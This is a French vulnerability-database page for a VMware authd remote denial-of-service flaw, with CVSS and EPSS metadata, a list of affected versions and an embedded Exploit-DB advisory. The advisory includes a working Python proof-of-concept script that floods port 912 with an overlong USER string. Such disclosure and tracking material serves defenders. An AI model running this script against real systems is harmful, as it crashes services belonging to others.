Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-399 |
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
5 |
|
AV:N/AC:L/Au:N/C:N/I:N/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 7647
Date de publication : 2009-01-01 23h00 +00:00
Auteur : laurent gaffié
EDB Vérifié : Yes
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vmware <= 2.5.1 build-126130 Remote Denial of Service
Application: Vmware
Web Site: http://www.vmware.com/
Platform: Windows *
Bug: Remote Denial of Service
Tested agains: Vmware player 2.5.1 build-126130, workstation 2.5.1 build-126130, using Windows XP SP3 fully patched
-------------------------------------------------------
1) Introduction
2) Bug
3) Proof of concept
4) Credits
================
1) Introduction
================
"VMware desktop virtualization technology lets you run multiple operating systems on a single physical computer.
Easily run Windows applications on your Mac, including high end games and other graphic applications,
with VMware Fusion. Run Windows and Linux applications on Windows or Linux PCs with the free VMware Player."
=======
2) Bug
=======
Vmware-authd listen on 0.0.0.0 port 912 on a windows box by default.
A denial of service exist in the module vmwarebase.dll of the system process vmware-authd.exe when a long username
or password is supplied to the service, code execution doesn't look possible at this time.
A dump file will be created here: C:\Documents and Settings\LocalService\Application Data\VMware\vmware-authd-*.dmp
Also some old version of this binary (like 6.00.3938.0000) doesn't seems vulnerable to this DoS.
==================
3)Proof of concept
==================
Auth-dos.py :
import struct
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buff = 'A' * 350
target = '192.168.0.102'
port = 912
s.connect((target, port))
data = s.recv(1024)
s.send('USER '+buff+'\r\n')
data = s.recv(1024)
s.send('PASS yo \r\n')
data = s.recv(1024)
print " [+] sending dummy payload"
s.close()
print " [+] done! "
=====
4)Credits
=====
laurent gaffié
laurent.gaffie{remove_this}[at]gmail[dot]com
# milw0rm.com [2009-01-02]
Products Mentioned
Configuraton 0
Vmware>>Ace >> Version To (including) 2.5.1
Vmware>>Ace >> Version 2.5.0
Vmware>>Fusion >> Version To (including) 2.0.1
Vmware>>Server >> Version 2.0.0
Vmware>>Vmware_player >> Version To (including) 2.5.1
Vmware>>Vmware_player >> Version 1.0.0
Vmware>>Vmware_player >> Version 1.0.1
Vmware>>Vmware_player >> Version 1.0.2
Vmware>>Vmware_player >> Version 1.0.3
Vmware>>Vmware_player >> Version 1.0.4
Vmware>>Vmware_player >> Version 1.0.6
Vmware>>Vmware_player >> Version 1.0.7
Vmware>>Vmware_player >> Version 1.0.8
Vmware>>Vmware_player >> Version 1.0.9
Vmware>>Vmware_player >> Version 1.05
Vmware>>Vmware_player >> Version 2.0
Vmware>>Vmware_player >> Version 2.0.1
Vmware>>Vmware_player >> Version 2.0.2
Vmware>>Vmware_player >> Version 2.0.3
Vmware>>Vmware_player >> Version 2.0.4
Vmware>>Vmware_player >> Version 2.0.5
Vmware>>Vmware_player >> Version 2.5
Vmware>>Vmware_workstation >> Version To (including) 6.51
Vmware>>Vmware_workstation >> Version 4.5.3
Vmware>>Vmware_workstation >> Version 5.0
Vmware>>Vmware_workstation >> Version 5.5.0
Vmware>>Vmware_workstation >> Version 5.5.1
Vmware>>Vmware_workstation >> Version 5.5.2
Vmware>>Vmware_workstation >> Version 5.5.3
Vmware>>Vmware_workstation >> Version 5.5.4
Vmware>>Vmware_workstation >> Version 5.5.5
Vmware>>Vmware_workstation >> Version 5.5.6
Vmware>>Vmware_workstation >> Version 5.5.7
Vmware>>Vmware_workstation >> Version 5.5.8
Vmware>>Vmware_workstation >> Version 6.0
Vmware>>Vmware_workstation >> Version 6.0.1
Vmware>>Vmware_workstation >> Version 6.0.2
Vmware>>Vmware_workstation >> Version 6.0.3
Vmware>>Vmware_workstation >> Version 6.0.4
Vmware>>Vmware_workstation >> Version 6.0.5
Vmware>>Vmware_workstation >> Version 6.5
Références